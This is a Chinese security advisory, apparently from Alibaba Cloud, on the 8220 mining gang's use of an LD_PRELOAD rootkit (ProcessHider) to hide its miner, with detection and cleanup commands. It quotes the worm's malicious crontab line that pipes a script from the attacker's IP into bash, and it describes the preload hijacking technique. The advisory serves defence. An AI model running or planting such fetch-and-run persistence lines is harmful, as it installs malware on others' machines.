近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以得到最大收益,开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势,此后预计主机侧的隐藏和对抗将成为主流。html
阿里云安全团队蠕虫监控平台发现8220挖矿团伙的下载脚本出现更新,除了下载必要的驻留脚本、挖矿程序以外,新增长了一个 so文件的下载地址:http://107.174.47.156/1.so。git
8220挖矿团伙是一个长期活跃的利用多个漏洞进行攻击和部署挖矿程序的国内团伙[1-2],该团伙组合利用WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)、Drupal RCE(CVE-2018-7600)、JBoss 反序列化命令执行漏洞(CVE-2017-12149)等多个漏洞进行攻击并部署挖矿程序进行牟利。github
经过对相关脚本和该so的简单分析,咱们确认8220团伙已经在其攻击工具包使用ProcessHider[3]对自身进行隐藏。ProcessHider是被众多恶意软件普遍利用的rootkit。挖矿蠕虫利用该工具使管理员难以经过常规手段检测到挖矿进程,从而提升挖矿进程的存活时间以最大化挖矿收益。随着时间的推移,可能会有愈来愈多的挖矿蠕虫加入rootkit功能。apache
若是在云控制台看到明显的CPU 上升,机器总体性能卡顿,可是登陆机器使用 PS/TOP 等命令却没法定位到具体占用CPU的进程,此时该机器就极可能已经感染此类使用 rootkit 进行隐藏的挖矿蠕虫。安全
该蠕虫利用LD_PRELOAD机制,使得自身的so文件先于系统加载,并经过劫持 readdir函数,使依赖该 API 返回的PS/TOP等系统命令没法正确返回结果 。 所以用户使用这些受影响的系统命令将没法看到真实的进程。bash
如上图所示,该蠕虫隐藏的进程关键字是kworkerds。网络
在主机侧可使用如下命令对蠕虫进行检测ssh
查看动态连接库 #ldd /bin/top|grep usr /usr/local/lib/libkk.so (0x00007f0f94026000) 发现存在异常的so文件 查看 PRE_LOAD系统变量 #cat /etc/ld.so.preload /usr/local/lib/libkk.so 发现preload文件被修改 查看 crontab #crontab -l */30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh 发现crontab出现奇怪的定时任务
使用普通top 查看到的进程:curl
LD_PRELOAD依赖于动态连接过程,所以使用静态编译的busybox执行top命令,将能够看到真实的所有进程。ide
随着对抗的不断升级,挖矿蠕虫的自我隐藏功能必将不断升级,而面对全副武装的蠕虫病毒,普通用户在主机侧与其进行强对抗成本极高而且收益较低。针对该类蠕虫经过网络侧的NTA(Network Traffic Analysis)功能进行检测更加有效。由于不管攻击者在主机侧采用了何种隐藏手法,但其远程下载、C&C通讯、矿池通讯等行为均会在网络流量中留下痕迹。
下图是在网络侧云防火墙经过检测到主机感染后下载后门文件的行为发现该蠕虫的记录。
1.因为本地命令可能都已被劫持,所以首先下载静态编译的busybox来执行指令,保证执行的系统命令不受劫持影响。
下载二进制 #wget https://www.busybox.net/downloads/binaries/1.27.1-i686/busybox 赋予执行权限 #chmod +x busybox
2.清理动态劫持
./busybox rm -f /usr/local/lib/libkk.so 2>/dev/null ./busybox chattr -i /etc/ld.so.preload 2>/dev/null ./busybox chattr -i /usr/local/lib/libkk.so 2>/dev/null ./busybox rm -f /etc/ld.so.preload ./busybox touch /etc/ld.so.preload ./busybox chattr +i /etc/ld.so.preload ldconfig
3.杀恶意进程和相关文件
./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep 'kworkerds' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9 2>/dev/null ./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep '107.174.47.156' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9 2>/dev/null ./busybox rm -f /var/tmp/kworkerds ./busybox rm -f /var/tmp/sustse*
4.修复 crontab
./busybox chattr -i /etc/cron.d/root 2>/dev/null ./busybox rm -f /etc/cron.d/root ./busybox chattr -i /etc/cron.d/apache 2>/dev/null ./busybox rm -f /var/spool/cron/apache ./busybox chattr -i /var/spool/cron/root 2>/dev/null ./busybox rm -f /var/spool/cron/root ./busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null ./busybox rm -f /var/spool/cron/crontabs/root ./busybox rm -rf /var/spool/cron/crontabs ./busybox touch /var/spool/cron/root ./busybox chattr +i /var/spool/cron/root
5.再次修复下 crontab,回到第3步再次执行
6..修复完成和重启crontab
service crond start
1.疑似国内来源的“8220挖矿团伙”追踪溯源分析 [https://www.freebuf.com/column/179970.html]
2.“8220团伙”最新活动分析:挖矿木马与勒索病毒共舞 [https://www.freebuf.com/column/186467.html]
3.https://github.com/gianlucaborello/libprocesshider
本文做者:云安全专家
本文为云栖社区原创内容,未经容许不得转载。